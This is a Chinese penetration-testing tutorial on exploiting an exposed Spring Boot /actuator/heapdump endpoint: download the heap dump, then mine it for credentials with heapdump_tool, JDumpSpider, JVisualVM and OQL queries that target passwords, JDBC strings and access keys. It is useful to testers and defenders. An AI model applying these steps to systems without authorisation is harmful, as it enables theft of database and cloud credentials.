Heapdump
,即堆转储文件,是一个Java进程在某个时间点上的内存快照。HeapDump
记录了JVM中堆内存运行的情况,保存了Java对象、类以及线程栈以及本地变量等信息。
- 路径:
/actuator/heapdump
- 工具:
Shell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| # heapdump_tool $ java -jar heapdump_tool.jar <heapdump-file> # 选择模式 > 0,不加载文件,速度较快但精度较低,不能用某些条件 > 1,加载文件,需要花几分钟加载,可以查询heapdump中所有的数据
# 关键字查询 > password > secret
# 获取字符串中的URL/File/IP > geturl > getfile > getip
# 设置字符长度 > len=10
# 获取指定顺序 > num=1-100
# 默认不输出查询结果非key-value格式的数据 > all=true
# JDumpSpider $ java -jar JDumpSpider.jar <heapdump-file>
|
利用方式
0、直接使用heapdump_tool.jar
查询关键字
Bash 1 2 3 4 5 6 7 8
| password redis.server redis.cache jdbc AccessKey SecretKey mysql oracle
|
1、使用JDK自带工具jvisualvm
打开该文件。(该工具在<JDK_HOME>/bin
目录下,Windows为jvisualvm.exe
)
2、打开文件后已经可以看到部分敏感信息泄露
3、点击“类”,搜索Hashtable
4、点击进入Hashtable$Entry
,寻找敏感信息
Sql 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| # 部分ODL查询语句 # 模糊查询 select * from java.lang.String s where toString(s) LIKE ".*SESSION*."
# 查询字符串是否在Key中,返回实例ID select s from java.util.Hashtable$Entry s where /jdbc/.test(s.key.toString())
# 查询字符串是否在Key中,返回Key全部内容 select s.key.toString() from java.util.Hashtable$Entry s where /jdbc/.test(s.key.toString())
# 查询字符串是否在Key中,返回Value的内容 select s.value.toString() from java.util.Hashtable$Entry s where /jdbc/.test(s.key.toString())
# 查询字符串是否在Value中,返回Value全部内容 select s.value.toString() from java.util.Hashtable$Entry s where /jdbc/.test(s.value.toString())
|
实战案例
- 通过浏览器访问对应路径将
heapdump
文件进行下载

- 然后使用JDK自带工具
JVisualVM
工具对其进行分析,该工具在<JDK_HOME>/bin/
目录下。
JVisualVM
是一个监视,故障排除工具
- 也可以使用
Eclipse MAT
对其进行分析

- 其实通过
JVisualVM
加载heapdump
文件时,已经可以看到部分敏感信息泄露

- 打开后进入ODL控制台,输入如下语句,点击执行进行查询
Shell 1 2
| select s.value.toString() from java.util.Hashtable$Entry s where /password/.test(s.key.toString())
|
- 也可以点击”类”,搜索
Hashtable
,然后点击进入第一个java.util.Hashtable$Entry


- 通过对左侧实例进行观察,这里发现了JDBC明文密码以及路径


参考